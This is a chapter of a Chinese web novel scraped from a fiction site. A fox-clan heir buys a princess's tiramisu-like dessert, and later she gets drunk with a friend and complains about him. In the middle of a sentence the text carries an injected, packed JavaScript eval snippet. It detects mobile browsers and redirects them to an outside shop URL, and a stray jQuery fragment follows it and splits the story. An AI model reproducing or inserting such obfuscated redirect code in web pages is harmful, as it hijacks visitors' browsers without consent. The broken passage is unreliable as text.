文趣网 > 其他小说 > 反派狐狸的驯养实录 > 16. 醉酒
    申正时分,天倏地阴沉下来,起风了,吹得直棂窗“咯吱”作响。风从半开的窗子猛地灌进来,掀起了案上的宣纸一角,陆名渊抬手按住,握着毛笔的右手却没有停,落笔转折处利落饱满,行云流水,只唇边勾起一丝几不可察的笑。

    院子口这时出现一女子,拎着食盒,脚步轻快,正穿过漫天的桃花瓣走来。

    “陆名渊。”月见一只脚刚迈进门槛就招呼道,“你一定猜不到我今日做了什么。”

    陆名渊没应声,不急不躁地把最后一个字写完才抬头看了一眼:“什么稀罕玩意儿?”

    “提——”想着食材都换了一套,名字也该重新取才是,取出点心放在陆名渊眼前,细想了想,改口道,“忘忧糕。”

    陆名渊低头扫了一眼,四四方方,没个样子,最顶层铺满了深褐色的粉末,甚至连馅儿都直接袒露在外面,毫无精致可言。侧面看去,像是把食材胡乱堆在一起敷衍了事一般,让他不禁皱起了眉头。

    “今日这点心可不是随意做的。”她看出他的嫌弃之情,全在意料之中,亏得她早有准备,淡然将银质小勺子搁在盘子上,“这是母后教我的,它还有一段故事呢。”

    陆名渊闻言,挑了挑眉,心底升起了些好奇,抬眼看她,等她往下说。

    “传说上古时期,一位神族将士即将奔赴战场,他的夫人便用家里仅剩的食材制作了这道点心给他,为的就是希望他每每品尝此点心时,都能想起家里还有位日日夜夜等着他平安归来的夫人。点心可以用来传递思念与爱意,最终这位将士成功抗敌,平安归来,与夫人团聚。”她垂着眼,不知故事效果如何有些紧张,手指不停搅着纱裙,“我在原有的配方基础上又改进了一下,希望品尝者可以忘却烦恼忧愁,快乐一些,因此取名忘忧糕。”

    陆名渊直直看着她,手指在盘子边缘摩挲着,半晌不说话,过了好一会儿才垂眸拿起勺子,挖了边上的一小块,放入口中。

    “味道如何?”她刚刚被盯得心里发毛,送来前她尝过,味道不错,但不知合不合陆名渊的口味。

    陆名渊嚼了两下,眉头不自觉因为微苦的茶味儿皱起,但很快满嘴便是绵软甘甜的奶味儿,最后还有一丝淡淡的回甘。

    她看着陆名渊拧着的眉头,暗暗懊悔,就不该做什么创意点心,明明知道这只狐狸喜好甜食,果然不该执意选择有着微苦口感的提拉米苏。这下可好,忙活半日,怕是挣不到预计的一百文铜钱了。

    眼看着陆名渊吃了一小口便放下了勺子,她小声道:“今日这点心,一百文......是多了些。”她咬咬牙,改口道,“八十文,这做起来费了些精力,没有功劳也有苦劳......”

    陆名渊拿帕子掖了掖嘴角,看着眼前女子无措的样子,觉得说不出的可爱,对着黎熵道:“给少夫人两枚金币。”

    “乳酪馅儿昨日就开始准备了,为了打发乳清,我胳膊这会儿还酸着呢......”月见一时没反应过来,对着陆名渊的眼睛,抬着手臂念叨着,希望他能看在自己辛劳的份儿上给足八十文,“什么,多少?”

    未等她回神,黎熵已将两枚金灿灿的钱币放至在了她手心里。

    “这点心,说实在的,着实一般。”陆名渊身子向左靠在椅把上,拿勺子胡乱刮着点心的馅儿,懒懒说道,“但我很喜欢你的故事,那个将士与他夫人的故事。”

    月见猛地抬头,双眼发光:“原来少主喜欢听故事呀,我可以每日来给你说故事的。”

    陆名渊垂头按了按太阳穴,他至今摸不清这位神族公主的性子,说她蠢笨么,有时明明很机灵,可要是说她聪明机智,却又丝毫不沾边儿,就像此刻,她忙活半日来书房里借着讲故事的由头向他表白示好一番,却又在自己搭腔接话时,表现得不知所云。

    黎熵见他没再接话,心下便了然了,对月见做了个“请”的手势,说道:“少夫人,少主今日处理公务有些累了,有什么事儿明日再说吧。”

    月见得了钱,了了事,自然也不愿在书房里和陆名渊多呆,说了句“少主好好休息”便头也不回地转身出了书房。

    忘忧糕因放置了有一会儿,夹心层已经有些坍塌,陆名渊用小银勺勾了点儿中间的乳酪馅儿细品,思忖后喃喃道:“你说......她今日做这忘忧糕是何用意?”

    黎熵看着桌上层层叠叠的点心,躬身答道:“少夫人这是借此糕点传达她们神族将士各个英勇骁战,如遇战争必能击败敌人平安归家的意思,是给我们下马威?”

    陆名渊瞥了黎熵一眼,银勺被他搁下,和瓷盘来了一声脆响,长叹一口气,正色道:“怪我,竟问你这只宛如没开灵智的玄狐。”

    黎熵站直身子,讪讪地搓了搓鼻子。

    “你也出去。”陆名渊闭上了眼,“我自个儿静静。”

    黎熵端走了忘忧糕,一步三回头,最终迈出了门槛,他知少主心烦却不能为其分忧,心中很不好受。

    抬头看,天空飘起了绵绵细雨,瓦檐上密密的小水珠,积久了便汇成水滴从檐下落下。

    陆名渊听着沙沙细雨声,手不自觉握成了拳,仿佛雨水都落在了他心底,潮湿一片,压着呼吸喘不上气,莫名烦躁。

    厨房里,小莲将提前切好的忘忧糕装进食盒里,打着油伞出了临渊阁,疾步走出两条街才寻着月见。

    “没人瞧见吧?”她接过食盒四处看了看。

    “公主,放心,我从后门出来的,守卫也打点好了。”小莲将月白色素缎披风给月见套上,拢了拢扣好,“这会儿下了小雨起风了,您可得暖着点儿,早些回来,可别回头着凉了。”

    “知道了,知道了。”

    她招呼小莲赶快回阁里去,就见她耸了耸肩长叹一口气,颇为不满:“这叫什么事儿,在神族千年,公主何事如此窝囊过,我们为何非要躲着少主。”

    “多一事不如少一事了。”她撑伞转身,“回吧。”

    白日里,宝光少君突然约她晚上喝酒,本不想去的,但想想这几日宅在阁里,不是打杂就是做点心,闷都闷死了,思索一番后还是答应了,可又怕被陆名渊知道,二人本就不对付,这才只好叫小莲偷摸着从后门出来和她在此汇合。

    进了酒楼不夜天,喧嚣如集市,亮眼如白昼,她被小厮领着进了天字号包间。满桌子美味佳肴,宝光少君摇着折扇站在桌前冲她笑,看样子是早就到了。

    “尝尝,我亲自做的。”她解了披风坐下来先灌了一杯茶,舒了舒气。

    宝光少君一面打开食盒,一面闲聊近况:“琉璃渊矿洞有瑾辰那小子管着,根本没有我的事儿,我近日无聊的紧。”取出点心,满脸期待挖了一大勺,苦灵茶的味道瞬

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644413|205923||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    间在他嘴里蔓延开来,不禁让他皱起了眉头,“好吃。”他没等乳酪馅儿的奶味儿发散就喝了一大口茶,对着月见竖起大拇指,“怎么平白无故地想起做点心了?”

    “不光做点心,我还打杂呢。”月见拿着烤灵羊腿,一口扯下一大块,塞得嘴巴圆鼓鼓的,“赚钱。”

    “赚钱?”神族公主家财万贯,怎会突然烦恼赚钱这种事,他想到了什么,只觉得心中一堵,质问道,“是不是那个陆名渊克扣你,将你的嫁妆私吞了,你放心,有我在定不会叫你委屈,我们神族公主还能叫他们妖族欺负了去,简直岂有此理。”

    “不是,不是,我就是想体验一下靠自己赚钱的生活。”她连忙把灵羊肉咽下去解释道,扒了扒指头,昂起头,“就这几日,我已经赚了700枚铜币了。”

    “厉害!”宝光少君紧紧盯着月见,确认她不似在说谎后,眉头才舒缓下来,似懂非懂地点点头,疑惑道,“那你为何不开店?”

    月见愣住了,反应过来后激动地在宝光少君肩上一拍:“是呀,可以直接开点心铺子呀,先前我怎么没想到呢。”她殷勤地挖了一勺忘忧糕塞进宝光少君手里,“你可真是我的贵人呀!不收你钱,多吃点!”

    “不了,不了。”宝光少君转头看了看自己肩上的油印子,挤出笑,“你若是需要本金可以找我拿,大不了算我入股或是借你的。总之,别围着陆名渊那人转,他能有什么钱。”

    “你说得对,我们应该把客人从临渊阁扩展到整个妖族才对,先前确实是我眼光狭隘了。”她倒了杯酒和宝光少君碰杯,“多谢宝光少君愿意做我的合股人。”

    “哪儿的话。”宝光少君一饮而尽而后又给她满上了一杯,“自那天下学后你被陆名渊带走,我们都三五日未见了,你有空记得来琉璃渊找我玩儿。”

    “一定,一定。”她嘴上附和着,心中已经盘算着如何把甜品在这个世界发扬光大了。

    三壶酒下肚,二人皆以烂醉如泥,宝光少君愤愤状告起了瑾辰仙君:“好歹我与他也是儿时玩伴,他却一点不念儿时之情,将我管得死死的。他......一人就能把琉璃渊管理的井井有条,何须我每日上工?那日我就晚了......两个时辰,他竟要我写千字检讨,还说我若不服管......就上报天君让我回天宫去。”他挽起长袖,伸出右手抚了抚,“如今还打着颤呢。”

    “你......哪有我惨,你可知我过得什么日子。”她直接拿起酒壶往嘴里倒,哽咽道,“这儿,我一个人都不认识,遇到什么难事儿了只能靠自己。为了赚钱......我日日围着陆名渊转悠摆笑脸,你不知道他那人,凶得很,日日冷着脸,我都......怕死了。性格还阴晴不定的,上一秒还是笑脸,下一秒......就像要杀你似的。”

    “少主,这......”黎熵站在包间外,看着陆名渊愈发阴沉的脸,音消了声儿,到嘴的话被咽了回去。

    “少主。”小莲吓得直打摆子,“公主这些都是醉话,不作数的。”

    陆名渊垂下眼睫,看着匍匐在地的小莲,冷冷说道:“那什么话算数?”

    小莲的声音打着颤,支支吾吾半天也没吐出半个字来,这时包间内传出了一句话,说话之人因醉酒口齿已不伶俐,但依然能清晰听见她喃喃道:“让他开心真是天下最难之事。”